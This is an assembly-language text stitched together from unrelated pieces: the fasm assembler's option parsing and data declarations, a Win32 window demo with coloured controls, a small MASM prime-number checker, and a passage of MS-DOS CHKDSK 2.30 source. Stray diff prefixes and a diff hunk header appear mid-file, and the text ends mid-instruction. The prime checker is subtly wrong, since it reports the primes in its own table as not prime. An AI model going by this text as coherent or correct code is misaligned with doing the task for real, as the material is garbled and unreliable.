[input_file],0 - je bad_params - mov eax,[definitions_pointer] - mov byte [eax],0 - mov [initial_definitions],predefinitions - clc - ret - definition_option: - cmp byte [esi],0 - jne get_definition - dec ecx - jz bad_params - add ebx,4 - mov esi,[ebx] - get_definition: - push edi - mov edi,[definitions_pointer] - call convert_definition_option - mov [definitions_pointer],edi - pop edi - jc bad_params - jmp next_param - symbols_option: - cmp byte [esi],0 - jne get_symbols_setting - dec ecx - jz bad_params - add ebx,4 - mov esi,[ebx] - get_symbols_setting: - mov [symbols_file],esi - jmp next_param - get_option_value: - xor eax,eax - mov edx,eax - get_option_digit: - lodsb - cmp al,20h - je option_value_ok - or al,al - jz option_value_ok - sub al,30h - jc invalid_option_value - cmp al,9 - ja invalid_option_value - imul edx,10 - jo invalid_option_value - add edx,eax - jc invalid_option_value - jmp get_option_digit - option_value_ok: - dec esi - clc - ret - invalid_option_value: - stc - ret - convert_definition_option: - mov edx,edi - cmp edi,predefinitions+1000h - jae bad_definition_option - xor al,al - stosb - copy_definition_name: - lodsb - cmp al,'=' - je copy_definition_value - cmp al,20h - je bad_definition_option - or al,al - jz bad_definition_option - cmp edi,predefinitions+1000h - jae bad_definition_option - stosb - inc byte [edx] - jnz copy_definition_name - bad_definition_option: - stc - ret - copy_definition_value: - lodsb - cmp al,20h - je definition_value_end - or al,al - jz definition_value_end - cmp edi,predefinitions+1000h - jae bad_definition_option - stosb - jmp copy_definition_value - definition_value_end: - dec esi - cmp edi,predefinitions+1000h - jae bad_definition_option - xor al,al - stosb - clc - ret - -include 'system.inc' - -include '..\version.inc' - -_copyright db 'Copyright (c) 1999-2022, Tomasz Grysztar',0xA,0 - -_logo db 'flat assembler version ',VERSION_STRING,0 -_usage db 0xA - db 'usage: fasm [output]',0xA - db 'optional settings:',0xA - db ' -m set the limit in kilobytes for the available memory',0xA - db ' -p set the maximum allowed number of passes',0xA - db ' -d = define symbolic variable',0xA - db ' -s dump symbolic information for debugging',0xA - db 0 -_memory_prefix db ' (',0 -_memory_suffix db ' kilobytes memory)',0xA,0 -_passes_suffix db ' passes, ',0 -_seconds_suffix db ' seconds, ',0 -_bytes_suffix db ' bytes.',0xA,0 - -include '..\errors.inc' -include '..\symbdump.inc' -include '..\preproce.inc' -include '..\parser.inc' -include '..\exprpars.inc' -include '..\assemble.inc' -include '..\exprcalc.inc' -include '..\formats.inc' -include '..\x86_64.inc' -include '..\avx.inc' - -include '..\tables.inc' -include '..\messages.inc' - -segment readable writeable - -align 4 - -include '..\variable.inc' - -command_line dd ? -memory_setting dd ? -definitions_pointer dd ? -environment dd ? -timestamp dq ? -start_time dd ? -con_handle dd ? -displayed_count dd ? -last_displayed db ? -character db ? -preprocessing_done db ? - -predefinitions rb 1000h -buffer rb 1000h - -push dword [BackgroundColour] - call _CreateSolidBrush@4 ; Create a brush for the window backgound - mov dword [BackgroundBrush], EAX - - mov dword [wc.cbSize], 48 ; [EBP - 80] - mov dword [wc.style], CS_HREDRAW | CS_VREDRAW | CS_BYTEALIGNWINDOW ; [EBP - 76] - mov dword [wc.lpfnWndProc], WndProc ; [EBP - 72] - mov dword [wc.cbClsExtra], NULL ; [EBP - 68] - mov dword [wc.cbWndExtra], NULL ; [EBP - 64] - mov EAX, dword [hInstance] - mov dword [wc.hInstance], EAX ; [EBP - 60] - - push LR_SHARED - push NULL - push NULL - push IMAGE_ICON - push IDI_APPLICATION - push NULL - call _LoadImageA@24 ; Large program icon - mov dword [wc.hIcon], EAX ; [EBP - 56] - - push LR_SHARED - push NULL - push NULL - push IMAGE_CURSOR - push IDC_ARROW - push NULL - call _LoadImageA@24 ; Cursor - mov dword [wc.hCursor], EAX ; [EBP - 52] - - mov EAX, dword [BackgroundBrush] - mov dword [wc.hbrBackground], EAX ; [EBP - 48] - mov dword [wc.lpszMenuName], NULL ; [EBP - 44] - mov dword [wc.lpszClassName], ClassName ; [EBP - 40] - - push LR_SHARED - push NULL - push NULL - push IMAGE_ICON - push IDI_APPLICATION - push NULL - call _LoadImageA@24 ; Small program icon - mov dword [wc.hIconSm], EAX ; [EBP - 36] - - lea EAX, [wc] ; [EBP - 80] - push EAX - call _RegisterClassExA@4 - - push SM_CXFULLSCREEN - call _GetSystemMetrics@4 ; Get the current screen width - mov dword [Screen.Width], EAX ; [EBP - 104] - - push SM_CYFULLSCREEN - call _GetSystemMetrics@4 ; Get the current screen height - mov dword [Screen.Height], EAX ; [EBP - 100] - - mov dword [ClientArea.left], 0 ; [EBP - 96] - mov dword [ClientArea.top], 0 ; [EBP - 92] - mov dword [ClientArea.right], WindowWidth ; [EBP - 88] - mov dword [ClientArea.bottom], WindowHeight ; [EBP - 84] - - push WS_EX_COMPOSITED ; Extended style - push NULL - push WS_OVERLAPPEDWINDOW ; Style - lea EAX, [ClientArea] ; [EBP - 96] - push EAX - call _AdjustWindowRectEx@16 ; Get window size for the desired client size - ; Size is returned in ClientArea - mov EAX, dword [ClientArea.top] ; [EBP - 92] - sub dword [ClientArea.bottom], EAX ; New Height = ClientArea.bottom - ClientArea.top - - mov EAX, dword [ClientArea.left] ; [EBP - 96] - sub dword [ClientArea.right], EAX ; New Width = ClientArea.right - ClientArea.left - - push NULL - push dword [hInstance] - push NULL - push NULL - - push dword [ClientArea.bottom] ; Height. [EBP - 84] - push dword [ClientArea.right] ; Width. [EBP - 88] - - xor ECX, ECX - mov EAX, dword [Screen.Height] ; [EBP - 100] - sub EAX, dword [ClientArea.bottom] ; Corrected window height. [EBP - 84] - cmovs EAX, ECX ; Clamp to 0 (top) if negative - shr EAX, 1 ; EAX = (Screen.Height - window height) / 2 - push EAX ; Y position, now centred - - mov EAX, dword [Screen.Width] ; [EBP - 104] - sub EAX, dword [ClientArea.right] ; Corrected window width. [EBP - 88] - cmovs EAX, ECX ; Clamp to 0 (left) if negative - shr EAX, 1 ; EAX = (Screen.Width - window width) / 2 - push EAX ; X position, now centred - - push WS_OVERLAPPEDWINDOW - push WindowName - push ClassName - push WS_EX_COMPOSITED - call _CreateWindowExA@48 - mov dword [hWnd], EAX ; [EBP - 4] - - push SW_SHOWNORMAL - push dword [hWnd] ; [EBP - 4] - call _ShowWindow@8 - - push dword [hWnd] ; [EBP - 4] - call _UpdateWindow@4 - -.MessageLoop: - push NULL - push NULL - push NULL - lea EAX, [msg] ; [EBP - 32] - push EAX - call _GetMessageA@16 - cmp EAX, 0 - je .Done - - lea EAX, [msg] ; [EBP - 32] - push EAX - push dword [hWnd] ; [EBP - 4] - call _IsDialogMessageA@8 ; For keyboard strokes - cmp EAX, 0 - jne .MessageLoop ; Skip TranslateMessage and DispatchMessage - - lea EAX, [msg] ; [EBP - 32] - push EAX - call _TranslateMessage@4 - - lea EAX, [msg] ; [EBP - 32] - push EAX - call _DispatchMessageA@4 - jmp .MessageLoop - -.Done: - xor EAX, EAX - mov ESP, EBP ; Remove the stack frame - pop EBP - ret - -WndProc: - push EBP ; Set up a stack frame - mov EBP, ESP - sub ESP, 68 ; 68 bytes for local variables - -%define hWnd EBP + 8 ; Location of the 4 passed parameters from -%define uMsg EBP + 12 ; the calling function -%define wParam EBP + 16 ; We can now access these parameters by name -%define lParam EBP + 20 - -%define ps EBP - 68 ; PAINTSTRUCT structure. 64 bytes -%define ps.hdc EBP - 68 -%define ps.fErase EBP - 64 -%define ps.rcPaint.left EBP - 60 -%define ps.rcPaint.top EBP - 56 -%define ps.rcPaint.right EBP - 52 -%define ps.rcPaint.bottom EBP - 48 -%define ps.Restore EBP - 44 -%define ps.fIncUpdate EBP - 40 -%define ps.rgbReserved EBP - 36 - -%define hdc EBP - 4 - - cmp dword [uMsg], WM_CLOSE ; [EBP + 12] - je WMCLOSE - - cmp dword [uMsg], WM_COMMAND ; [EBP + 12] - je WMCOMMAND - - cmp dword [uMsg], WM_CREATE ; [EBP + 12] - je WMCREATE - - cmp dword [uMsg], WM_CTLCOLOREDIT ; [EBP + 12] - je WMCTLCOLOREDIT - - cmp dword [uMsg], WM_CTLCOLORSTATIC ; [EBP + 12] - je WMCTLCOLORSTATIC - - cmp dword [uMsg], WM_DESTROY ; [EBP + 12] - je WMDESTROY - - cmp dword [uMsg], WM_PAINT ; [EBP + 12] - je WMPAINT - -DefaultMessage: - push dword [lParam] ; [EBP + 20] - push dword [wParam] ; [EBP + 16] - push dword [uMsg] ; [EBP + 12] - push dword [hWnd] ; [EBP + 8] - call _DefWindowProcA@16 - jmp Return - -WMCLOSE: - push MB_YESNO | MB_DEFBUTTON2 - push WindowName - push ExitText - push dword [hWnd] ; [EBP + 8] - call _MessageBoxA@16 - - cmp EAX, IDNO - je Return.WM_Processed - - push dword [hWnd] ; [EBP + 8] - call _DestroyWindow@4 ; Send a WM_DESTROY message - jmp Return.WM_Processed - -WMCOMMAND: - mov EAX, dword [wParam] ; EAX = ID. [EBP + 16] - - cmp AX, Static1ID - je .Static1 - - cmp AX, Static2ID - je .Static2 - - jmp Return.WM_Processed - -.Static1: - mov EAX, dword [Static1Colour] - mov EBX, dword [Static1ColourA] - mov dword [Static1Colour], EBX - mov dword [Static1ColourA], EAX ; Swap colours - - push TRUE - push NULL - push dword [lParam] ; Static1 handle. [EBP + 20] - call _InvalidateRect@12 ; Redraw control - jmp Return.WM_Processed - -.Static2: - mov EAX, dword [Static2Colour] - mov EBX, dword [Static2ColourA] - mov dword [Static2Colour], EBX - mov dword [Static2ColourA], EAX ; Swap colours - - push TRUE - push NULL - push dword [lParam] ; Static2 handle. [EBP + 20] - call _InvalidateRect@12 ; Redraw control - jmp Return.WM_Processed - -WMCREATE: - push NULL - push dword [hInstance] - push Static1ID - push dword [hWnd] ; [EBP + 8] - push 20 ; Height - push 400 ; Width - push 10 ; Y - push 120 ; X - push WS_CHILD | WS_VISIBLE | SS_NOTIFY | SS_CENTER - push Text1 ; Default text - push StaticClass - push NULL - call _CreateWindowExA@48 - mov dword [Static1], EAX - - push NULL - push dword [hInstance] - push Static2ID - push dword [hWnd] ; [EBP + 8] - push 20 ; Height - push 400 ; Width - push 40 ; Y - push 120 ; X - push WS_CHILD | WS_VISIBLE | SS_NOTIFY | SS_CENTER - push Text2 ; Default text - push StaticClass - push NULL - call _CreateWindowExA@48 - mov dword [Static2], EAX - - push NULL - push dword [hInstance] - push Edit1ID - push dword [hWnd] ; [EBP + 8] - push 20 ; Height - push 400 ; Width - push 70 ; Y - push 120 ; X - push WS_CHILD | WS_VISIBLE | ES_CENTER | WS_TABSTOP | ES_AUTOHSCROLL - push Text1 ; Default text - push EditClass - push NULL - call _CreateWindowExA@48 - mov dword [Edit1], EAX - - push NULL - push dword [hInstance] - push Edit2ID - push dword [hWnd] ; [EBP + 8] - push 20 ; Height - push 400 ; Width - push 100 ; Y - push 120 ; X - push WS_CHILD | WS_VISIBLE | ES_CENTER | WS_TABSTOP | ES_AUTOHSCROLL - push Text2 ; Default text - push EditClass - push NULL - call _CreateWindowExA@48 - mov dword [Edit2], EAX - - lea EAX, [SegoeUI] - push EAX - push DEFAULT_PITCH - push PROOF_QUALITY - push CLIP_DEFAULT_PRECIS - push OUT_DEFAULT_PRECIS - push ANSI_CHARSET - push NULL - push NULL - push NULL - push 400 ; Weight - push NULL - push NULL - push NULL - push 20 ; Size - call _CreateFontA@56 - mov dword [Font], EAX - - push FALSE - push dword [Font] - push WM_SETFONT - push dword [Static1] - call _SendMessageA@16 ; Set Static1 font - - push FALSE - push dword [Font] - push WM_SETFONT - push dword [Static2] - call _SendMessageA@16 ; Set Static2 font - - push FALSE - push dword [Font] - push WM_SETFONT - push dword [Edit1] - call _SendMessageA@16 ; Set Edit1 font - - push FALSE - push dword [Font] - push WM_SETFONT - push dword [Edit2] - call _SendMessageA@16 ; Set Edit2 font - - jmp Return.WM_Processed - -WMCTLCOLOREDIT: ; For colouring edit controls - push dword [lParam] ; [EBP + 20] - call _GetDlgCtrlID@4 ; EAX = ID - - cmp EAX, Edit1ID - je .Edit1 - - cmp EAX, Edit2ID - je .Edit2 - -.Default: - push NULL_BRUSH - call _GetStockObject@4 ; Return a brush - jmp Return - -.Edit1: - push dword [Edit1TextColour] - push dword [wParam] ; [EBP + 16] - call _SetTextColor@8 - - push OPAQUE - push dword [wParam] ; [EBP + 16] - call _SetBkMode@8 - - push dword [Edit1BackColour] - push dword [wParam] ; [EBP + 16] - call _SetBkColor@8 - - push NULL_BRUSH - call _GetStockObject@4 ; Return a brush - jmp Return - -.Edit2: - push dword [Edit2TextColour] - push dword [wParam] ; [EBP + 16] - call _SetTextColor@8 - - push OPAQUE - push dword [wParam] ; [EBP + 16] - call _SetBkMode@8 - - push dword [Edit2BackColour] - push dword [wParam] ; [EBP + 16] - call _SetBkColor@8 - - push NULL_BRUSH - call _GetStockObject@4 ; Return a brush - jmp Return - -WMCTLCOLORSTATIC: ; For colouring static controls - push dword [lParam] ; [EBP + 20] - call _GetDlgCtrlID@4 ; EAX = ID - - cmp EAX, Static1ID - je .Static1 - - cmp EAX, Static2ID - je .Static2 - -.Default: - push NULL_BRUSH - call _GetStockObject@4 ; Return a brush - jmp Return - -.Static1: - push dword [Static1Colour] - push dword [wParam] ; [EBP + 16] - call _SetTextColor@8 - - push OPAQUE - push dword [wParam] ; [EBP + 16] - call _SetBkMode@8 - - push 0604060h - push dword [wParam] ; [EBP + 16] - call _SetBkColor@8 - - push NULL_BRUSH - call _GetStockObject@4 ; Return a brush - jmp Return - -.Static2: - push dword [Static2Colour] - push dword [wParam] ; [EBP + 16] - call _SetTextColor@8 - - push OPAQUE - push dword [wParam] ; [EBP + 16] - call _SetBkMode@8 - - push 0005000h - push dword [wParam] ; [EBP + 16] - call _SetBkColor@8 - - push GRAY_BRUSH - call _GetStockObject@4 ; Return a brush - jmp Return - -WMDESTROY: - push dword [BackgroundBrush] - call _DeleteObject@4 - - push dword [Font] - call _DeleteObject@4 - - push NULL - call _PostQuitMessage@4 - jmp Return.WM_Processed - -WMPAINT: - lea EAX, [ps] ; Starting address of PAINTSTRUCT. [EBP - 68] - push EAX - push dword [hWnd] ; [EBP + 8] - call _BeginPaint@8 - mov dword [hdc], EAX - - push BLACKNESS ; Operation - push 0 ; Source Y - push 0 ; Source X - push dword [hdc] ; Source device context - push 20 ; Height - push 400 ; Width - push 130 ; Destination Y - push 120 ; Destination X - push dword [hdc] ; Destination device context - call _BitBlt@36 ; Blit a black rectangle - - lea EAX, [ps] ; [EBP - 68] - push EAX - push dword [hWnd] ; [EBP + 8] - call _EndPaint@8 - -Return.WM_Processed: - xor EAX, EAX ; WM_ has been processed, return 0 - -Return: - mov ESP, EBP ; Remove the stack frame - pop EBP - ret 16 ; Pop 4 parameters off the stack and return - -.586 -.MODEL flat, C - -printf PROTO, pString : PTR BYTE, args : VARARG -scanf PROTO, pFormat : PTR BYTE, args : VARARG - -.data - -prime_numbers dword 2, 3, 5, 7, 11, 13, 17, 19, 23, 29 -number dword 0 - -string byte "Please enter number: ",0 -printf_string byte "%d", 0dh, 0ah, 0 -scanf_string byte "%d", 0 - -.code -asmMain PROC - -INVOKE printf, ADDR string -invoke scanf, addr scanf_string, addr number - -mov esi, offset prime_numbers -mov ecx, lengthof prime_numbers -L1 : -mov eax, number -mov edx, 0 -mov ebx, [esi] -div ebx -cmp edx, 0 -je not_prime_number -add esi, 4 -loop L1 - -prime_number : -mov eax, 1 -INVOKE printf, ADDR printf_string, eax -jmp L2 - -not_prime_number : -mov eax, 0 -INVOKE printf, ADDR printf_string, eax - -L2 : - -ret -asmMain ENDP -END - -TITLE CHKDSK - MS-DOS Disk consistancy checker - -; CHKDSK Version 2.30 -; Verifies and repairs MS-DOS disk directory. - - -; To build CHKDSK you need three modules: -; CHKDSK CHKPROC CHKMES -; They should be linked the that order as well. - - -; REVISION HISTORY - -;REV 1.1 -; 05/21/82 Added rev number - -;REV 1.5 -; Mod by NANCYP to report on extents -; Mod by AARONR to report volume ID - -;REV 2.0 -; Total rewrite for directories - -;REV 2.1 -; Added ^C and INT 24H handlers - -;REV 2.2 -; INTERNATIONAL support - -;REV 2.3 -; Split into two modules to allow assembly on a PC -; CHKDSK and CHKPROC - -FALSE EQU 0 -TRUE EQU NOT FALSE - -DRVCHAR EQU ":" - -;The following defines the ranges of DOS version numbers for which this CHKDSK -; is good - -DOSVER_LOW EQU 0136H ;1.54 in hex -DOSVER_HIGH EQU 020BH ;2.11 in hex - - - INCLUDE DOSSYM.ASM - -FCB EQU 5CH - -;Drive parameter block from DOS header - -SUBTTL Segments used in load order - -CODE SEGMENT PUBLIC -CODE ENDS - -CONST SEGMENT PUBLIC BYTE -CONST ENDS - -DATA SEGMENT PUBLIC WORD -DATA ENDS - -DG GROUP CODE,CONST,DATA - -SUBTTL Initialized Data -PAGE -CONST SEGMENT PUBLIC BYTE - - PUBLIC HECODE,SWITCHAR,NOISY,DOFIX,CONBUF,ORPHCNT,ORPHSIZ,DOFIX - PUBLIC HIDCNT,HIDSIZ,DIRCNT,DIRSIZ,FILCNT,FILSIZ,BADSIZ,LCLUS - PUBLIC DOTENT,HAVFIX,SECONDPASS,NUL,ALLFILE,PARSTR,ERRSUB,LCLUS - PUBLIC DIRTYFAT,BADSIZ,DDOTENT,CROSSCNT,ORPHFCB,ORPHEXT,ALLDRV - PUBLIC FRAGMENT,USERDIR,DIRBUF,USERDIR,FIXMFLG,DOTMES,DIRCHAR - - EXTRN IDMES1:BYTE,IDPOST:BYTE,VNAME:BYTE,MONTAB:BYTE - EXTRN TCHAR:BYTE,BADREAD_PRE:BYTE,BADREAD_POST:BYTE - EXTRN CRLF:BYTE,BADVER:BYTE,BADSUBDIR:BYTE,CENTRY:BYTE - EXTRN BADDRV:BYTE,BADCD:BYTE,BADRDMES:BYTE,OPNERR:BYTE - EXTRN CONTAINS:BYTE,EXTENTS:BYTE,NOEXTENTS:BYTE - EXTRN BADDRVM:BYTE,BADDRVM2:BYTE,BADIDBYT:BYTE - - -DIRBUF LABEL BYTE ;Entry buffer for searches -VOLID DB -1,0,0,0,0,0,8 ;Volume ID FCB -VOLNAM DB 0,"???????????" - DB 25 DUP(0) - -ALLFILE DB -1,0,0,0,0,0,1EH ;Extended FCB -ALLDRV DB 0,"???????????" - DB 25 DUP (?) - -ORPHFCB DB 0,"FILE0000" -ORPHEXT DB "CHK" - DB 25 DUP (?) - - -;Non-message data - -SWITCHAR DB "-" -ROOTSTR LABEL BYTE -DIRCHAR DB "/" -NUL DB 0 -PARSTR DB "..",0 -DOTMES DB ".",0 -DOTENT DB ". " -DDOTENT DB ".. " -HECODE DB ? -FIXMFLG DB 0 ;Flag for printing fixmes -ERRSUB DW 0 ;Flag for bad subdir error -FRAGMENT DB 0 ;Flag for extent processing -DIRTYFAT DB 0 ;Dirty flag for FAT -DIRCNT DW 0 ;# directories -DIRSIZ DW 0 ;# alloc units in directories -FILCNT DW 0 ;# reg files -FILSIZ DW 0 ;# alloc units in reg files -HIDCNT DW 0 ;# hidden files -HIDSIZ DW 0 ;# alloc units in hidden files -BADSIZ DW 0 ;# alloc units in bad sectors -ORPHCNT DW 0 ;# orphan files made -ORPHSIZ DW 0 ;# alloc units in orphan files -LCLUS DW 0 ;# alloc units in lost clusters -DISPFLG DB 0 ;used by number routines -CROSSCNT DW 0 ;# crosslinked files (first pass) -SECONDPASS DB 0 ;Pass flag -HAVFIX DB 0 ;non zero if any fixes -DOFIX DB 0 ;flag for F switch -NOISY DB 0 ;flag for V switch -USERDIR DB "/",0 ;Users current dir for drive - DB (DIRSTRLEN-1) DUP (?) -CONBUF DB 15,0 ;Input buffer - DB 15 DUP (?) - -CONST ENDS - -SUBTTL Un-initialized Data -PAGE -DATA SEGMENT PUBLIC WORD - - PUBLIC ZEROTRUNC,NAMBUF,MCLUS,THISDPB,STACKLIM,ERRCNT - PUBLIC SRFCBPT,ISCROSS,CSIZE,DSIZE,SSIZE,FAT,FATMAP - PUBLIC HARDCH,CONTCH,USERDEV,SECBUF,DOTSNOGOOD - -HARDCH DD ? ;Pointer to real INT 24 handler -CONTCH DD ? ;Pointer to real INT 23 handler -THISDPB DD ? ;Pointer to drive DPB -USERDEV DB ? ;Users current device -CSIZE DB ? ;Sectors per cluster -SSIZE DW ? ;bytes per sector -DSIZE DW ? ;# alloc units on disk -MCLUS DW ? ;DSIZE + 1 -NAMBUF DB 14 DUP (?) ;Buffer -DOTSNOGOOD DB ? ;. or .. error flag -ZEROTRUNC DB ? ;Trimming flag -ISCROSS DB ? ;Crosslink flag -OLDCLUS DW ? -SRFCBPT DW ? -FATMAP DW OFFSET DG:FAT ;Offset of FATMAP table -SECBUF DW ? ;Offset of sector buffer -ERRCNT DB ? ;Used by FATread and write -STACKLIM DW ? ;Stack growth limit - -INTERNATVARS internat_block <> - DB (internat_block_max - ($ - INTERNATVARS)) DUP (?) - -FAT LABEL WORD -DATA ENDS - - -SUBTTL Start of CHKDSK - -CODE SEGMENT PUBLIC -ASSUME CS:DG,DS:DG,ES:DG,SS:DG - - PUBLIC SUBERRP,DOTCOMBMES,FIGREC,FCB_TO_ASCZ,PRTCHR,EPRINT - PUBLIC PRINT,DOCRLF,DISP16BITS,DISP32BITS,DISPCLUS,CHECKFILES - - EXTRN RDSKERR:NEAR,SETSWITCH:NEAR,PROMPTYN:NEAR,REPORT:NEAR - EXTRN PRINTCURRDIRERR:NEAR,PRINTTHISEL2:NEAR,CHECKERR:NEAR - EXTRN INT_23:NEAR,INT_24:NEAR,FINDCHAIN:NEAR,DONE:NEAR,AMDONE:NEAR - EXTRN FATAL:NEAR,DIRPROC:NEAR,CHKMAP:NEAR,CHKCROSS:NEAR,UNPACK:NEAR - - ORG 100H - -CHKDSK: - JMP SHORT CHSTRT - -HEADER DB "Ver 2.30" - -CHSTRT: - -;Code to print header. -; PUSH AX -; MOV DX,OFFSET DG:HEADER -; CALL PRINT -; POP AX - - PUSH AX ;Save DRIVE validity info - MOV AH,GET_VERSION - INT 21H - XCHG AH,AL ;Turn it around to AH.AL - CMP AX,DOSVER_LOW - JB GOTBADDOS - CMP AX,DOSVER_HIGH - JBE OKDOS -GOTBADDOS: - MOV DX,OFFSET DG:BADVER - JMP CERROR - -OKDOS: - POP AX ;Get back drive info - MOV BX,0FFF0H - MOV DX,SP - CMP DX,BX - JAE STACKOK ;Lots of stack - MOV DX,DS:[2] ;High break - MOV CX,CS - SUB DX,CX - CMP DX,0FFFH - JAE SETSTACK ;Lots to grab - MOV CX,4 ;Suck up more stack (blast command) - SHL DX,CL - MOV BX,DX -SETSTACK: - CLI - MOV SP,BX - STI -STACKOK: - PUSH AX - MOV AH,DISK_RESET ;Flush everything, and invalidate - INT 21H - POP AX - CMP AL,0FFH ;Illegal drive specifier? - JNZ FILECHK ;No -- check for filename - -DRVERR: - MOV DX,OFFSET DG:BADDRV -CERROR: - PUSH CS ;Make sure DS is OK - POP DS - CALL PRINT ;Print error message - INT 20H - -CERROR2: - PUSH DX - CALL DONE ;Reset users disk - POP DX - JMP SHORT CERROR - -FILECHK: - MOV AX,(CHAR_OPER SHL 8) - INT 21H - MOV [SWITCHAR],DL - CMP DL,"/" - JNZ SLASHOK - MOV [DIRCHAR],"\" - MOV [USERDIR],"\" -SLASHOK: - CMP DS:(BYTE PTR FCB+1)," " ;Filename specified? - JZ DRVCHK ;No -- get the correct drive - MOV AL,[SWITCHAR] - CMP DS:(BYTE PTR FCB+1),AL ;Filename specified? - JZ DRVCHK ;No -- get the correct drive - MOV BYTE PTR [FRAGMENT],1 ;Set flag to perform fragment - ;check on specified files -DRVCHK: - CALL SETSWITCH ;Look for switches - MOV AH,GET_DEFAULT_DRIVE ;Get current drive - INT 21H - MOV [USERDEV],AL ;Save for later - MOV AH,AL - INC AH ;A = 1 - MOV BH,DS:(BYTE PTR FCB) ;See if drive specified - OR BH,BH - JZ SETDSK - MOV AL,BH - MOV AH,AL - DEC AL ;A = 0 -SETDSK: - MOV [ALLDRV],AH ;Target drive - MOV [VOLNAM],AH ;A = 1 - MOV [ORPHFCB],AH ;A = 1 - ADD [BADDRVM],AL ;A = 0 - ADD [BADDRVM2],AL ;A = 0 - MOV DL,AH ;A = 1 - MOV AH,GET_DPB ;Get the DPB - INT 21H -ASSUME DS:NOTHING - CMP AL,-1 - JNZ DRVISOK ;Bad drive (should always be ok) - MOV DX,OFFSET DG:BADDRV -CERROR2J: JMP CERROR2 - -DRVISOK: - DEC DL ;A = 0 - MOV AH,SET_DEFAULT_DRIVE ;Set Target - INT 21H - CMP [BX.dpb_current_dir],0 - JZ CURRISROOT ;Save users current dir for target - MOV SI,BX - ADD SI,dpb_dir_text - MOV DI,OFFSET DG:USERDIR + 1 -SETDIRLP: - LODSB - STOSB OR AL,AL JZ CURRISROOT JMP SHORT SETDIRLP @@ -4005,1113 +529,50 @@ ASSUME DS:DG PUSH CS POP ES MOV DX,OFFSET DG:ROOTSTR - MOV AH,CHDIR ;Start at root + MOV AH,CHDIR INT 21H MOV DX,OFFSET DG:BADCD - JC CERROR2J ;Couldn't get there - MOV DX,OFFSET DG:FAT ;Scratch space + JC CERROR2J + MOV DX,OFFSET DG:FAT MOV AH,SET_DMA INT 21H - MOV DX,OFFSET DG:VOLID ;Look for VOL ID + MOV DX,OFFSET DG:VOLID MOV AH,DIR_SEARCH_FIRST INT 21H CMP AL,-1 JZ NOTVOLID - CALL PRINTID ;Have a VOL ID + CALL PRINTID NOTVOLID: LDS BX,[THISDPB] ASSUME DS:NOTHING MOV AX,[BX.dpb_sector_size] - MOV [SSIZE],AX ;Sector size in bytes + MOV [SSIZE],AX MOV AL,[BX.dpb_cluster_mask] INC AL - MOV [CSIZE],AL ;Sectros per cluster + MOV [CSIZE],AL MOV AX,[BX.dpb_max_cluster] - MOV [MCLUS],AX ;Bound for FAT searching + MOV [MCLUS],AX DEC AX - MOV [DSIZE],AX ;Total data clusters on disk - MOV AL,[BX.dpb_FAT_size] ;Sectors for one fat + MOV [DSIZE],AX + MOV AL,[BX.dpb_FAT_size] XOR AH,AH MOV CX,AX - MUL [SSIZE] ;Bytes for FAT - ADD [FATMAP],AX ;Allocate FAT space + MUL [SSIZE] + ADD [FATMAP],AX MOV AX,[FATMAP] ADD AX,[MCLUS] - ADD AX,2 ;Insurance - MOV [SECBUF],AX ;Allocate FATMAP space + ADD AX,2 + MOV [SECBUF],AX ADD AX,[SSIZE] - ADD AX,20 ;Insurance - MOV [STACKLIM],AX ;Limit on recursion + ADD AX,20 + MOV [STACKLIM],AX MOV DI,CX - MOV CL,[BX.dpb_FAT_count] ;Number of FATs - MOV DX,[BX.dpb_first_FAT] ;First sector of FAT + MOV CL,[BX.dpb_FAT_count] + MOV DX,[BX.dpb_first_FAT] PUSH CS POP DS ASSUME DS:DG MOV BX,OFFSET DG:FAT MOV AL,[ALLDRV] DEC AL - MOV AH,'1' -RDLOOP: - XCHG CX,DI - PUSH DX - PUSH CX - PUSH DI - PUSH AX - INT 25H ;Read in the FAT - MOV [HECODE],AL - POP AX ;Flags - JNC RDOK - MOV DX,OFFSET DG:BADREAD_PRE ;Barfed - CALL PRINT - POP AX - PUSH AX - MOV DL,AH - CALL PRTCHR - MOV DX,OFFSET DG:BADREAD_POST - CALL PRINT - POP AX - POP CX - POP DI - POP DX - INC AH - ADD DX,DI - LOOP RDLOOP ;Try next FAT - CALL RDSKERR - JNZ NORETRY1 - JMP NOTVOLID -NORETRY1: - MOV BX,OFFSET DG:BADRDMES - JMP FATAL ;Couldn't read any FAT, BARF - -RDOK: - POP AX ;Clean up - POP AX - POP AX - POP AX - MOV SI,OFFSET DG:FAT - LODSB ;Check FAT ID byte - CMP AL,0F8H - JAE IDOK - MOV DX,OFFSET DG:BADIDBYT ;FAT ID bad - CALL PROMPTYN ;Ask user - JZ IDOK - JMP ALLDONE ;User said stop -IDOK: - MOV DI,[FATMAP] - MOV CX,[MCLUS] - INC CX - XOR AL,AL - REP STOSB ;Initialize FATMAP to all free - MOV DX,OFFSET DG:DIRBUF ;FOR ALL SEARCHING - MOV AH,SET_DMA - INT 21H - XOR AX,AX - PUSH AX ;I am root - PUSH AX ;Parent is root - CALL DIRPROC - CALL CHKMAP ;Look for badsectors, orphans - CALL CHKCROSS ;Check for second pass - CALL DOCRLF - CALL REPORT - -ALLDONE: - CALL AMDONE - INT 20H ;Fini - - -ASSUME DS:DG - -SUBTTL Check for extents in specified files -PAGE -CHECKFILES: -;Search the directory for the files specified on the command line -;and report the number of fragmented allocation units found in -;each one. - CALL DOCRLF - MOV AH,SET_DMA - MOV DX,[FATMAP] ;Use the first free space available - MOV BP,DX - ADD BP,27 ;cluster in the directory entry - INT 21H - MOV AH,DIR_SEARCH_FIRST ;Look for the first file -FRAGCHK: - MOV DX,FCB - INT 21H - OR AL,AL ;Did we find it? - JNZ MSGCHK ;No -- we're done - XOR AX,AX ;Initialize the fragment counter - MOV SI,[BP] ;Get the first cluster - CALL UNPACK - CMP DI,0FF8H ;End-of-file? - JAE NXTCHK ;Yes -- go report the results - INC SI - CMP SI,DI - JZ EACHCLUS - INC AX -EACHCLUS: - MOV [OLDCLUS],DI ;Save the last cluster found - MOV SI,DI ;Get the next cluster - CALL UNPACK - INC [OLDCLUS] ;Bump the old cluster - CMP DI,[OLDCLUS] ;Are they the same? - JNZ LASTCLUS ;No -- check for end-of-file - JMP SHORT EACHCLUS ;Continue processing -LASTCLUS: - CMP DI,0FF8H ;End-of-file? - JAE NXTCHK ;Yes -- go report the results - INC AX ;No -- found a fragement - JMP SHORT EACHCLUS ;Continue processing - -NXTCHK: - OR AX,AX - JZ GETNXT - MOV [FRAGMENT],2 ;Signal that we output at least one file - PUSH AX ;Save count of fragments - MOV SI,[FATMAP] - INC SI - CALL PRINTTHISEL2 - CALL DOCRLF - MOV DX,OFFSET DG:CONTAINS ;Print message - CALL PRINT - POP SI ;Number of fragments found - INC 